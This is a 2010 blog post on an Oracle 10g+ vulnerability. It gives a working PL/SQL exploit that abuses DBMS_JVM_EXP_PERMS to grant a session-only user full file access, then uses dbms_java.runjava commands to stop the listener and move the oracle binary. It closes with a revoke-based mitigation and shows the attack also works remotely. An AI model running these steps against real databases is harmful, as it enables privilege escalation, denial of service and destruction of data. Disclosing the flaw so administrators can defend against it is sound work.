All Things Oracle

Imminent danger, God help us!

For those who are not yet aware, a very serious vulnerability has been made public for those who are working with Oracle 10g or higher. This vulnerability allows a user with the minimum privilege to create a session to have unrestricted access to the files on the server on which the Oracle database is running.

If you want to know what we are dealing with, below I show you how easy it is to gain these privileges, and how damaging it can be in unscrupulous hands.

Becoming all-powerful

1. First let’s prepare the environment, create a user and let him create sessions.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl> create user test identified by test;

User created.

SYS@orcl> grant create session to test;

Grant succeeded.

2. Now it is a matter of executing the following code.

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl> DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

3. Thanks to the package DBMS_JVM_EXP_PERMS, which has execution permissions for PUBLIC, has managed to gain unrestricted access to the files, both read, write and execute. Again our Java friends getting us into trouble, hahaha, but joking aside, let’s start with a relatively benign attack such as stopping the listener, which would be a relatively simple form of what is known as a DoS (Denial of Service) attack.

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$

This action prevents the creation of new sessions as there is no listener to create them, which in practice means that the database has become partially operational.

4. Of course you can do worse things; let’s see now a much more destructive action, we will move the oracle executable but it could well be its elimination or that of the entire directory in which Oracle is installed, the datafiles, etc., there are no limits to the damage that can be caused!!!!

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle

If we had any doubts, by now I think we are convinced that we are facing a very serious problem. What to do? For the moment there is no alternative but to remove public execution privileges from the package DBMS_JVM_EXP_PERMS, which would prevent obtaining broad privileges by invoking it.

[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl> revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl> connect test/test
Connected.
TEST@orcl> DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '<<ALL FILES>>', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored
Removing the PUBLIC privilege is a radical alternative that requires extensive testing of functionality, because it is possible that by removing this privilege something may stop working, it is a risk that is always run but we do not have many alternatives to say, meanwhile we will have to wait for Oracle to release a specific patch soon, because waiting for the next CPU, in April 2010, would leave plenty of time available for possible attacks, so take preventive measures has been said!!!!

Update

My good friend Ronald Vargas comments in a recent post: “…the security issues referred to in Enrique’s post, in order to be exploited, the user must have operating system level access to the SQL*Plus tool on the server, since executing a command requires administrative privileges, which you cannot access unless you are logged in locally, either on the server console or through a Windows or Linux graphical environment utility or emulator, or a remote terminal access utility….”. Ronald concludes his Post with: “…So as I said at the beginning, ‘don’t panic’, there is not much to be alarmed about….”

In this regard, Ronald would be taking as a reference what is indicated in The H Security, but at least in my personal tests it has not been necessary to be directly connected to the database server to exploit this problem, I managed to reproduce it remotely connected from a Windows Vista workstation using an Oracle 11.1.0.7 client and a user that only has the create session privilege:

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

Windows
C:\Windows\system32>sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl> exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.BUF

So the danger is still real and its exploitation quite simple, take your precautions!

Did you find this article interesting, did you have any doubts, do you want to suggest a topic to cover, leave me your comments or contact me me right now!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Related Posts

Link to article published in Toad World, about how to overcome the lack of archivelogs to synchronize a standby database in Oracle.
The enq: CF - contention event could be resolved with controlfile maintenance if the controlfile contains a large number of archived log records.
If the Oracle optimizer chooses inefficient execution plans on queries that use MAX or MIN, it is possible that this is bug 5611962.

Need Help?

Fill in these details and I will be in touch as soon as possible.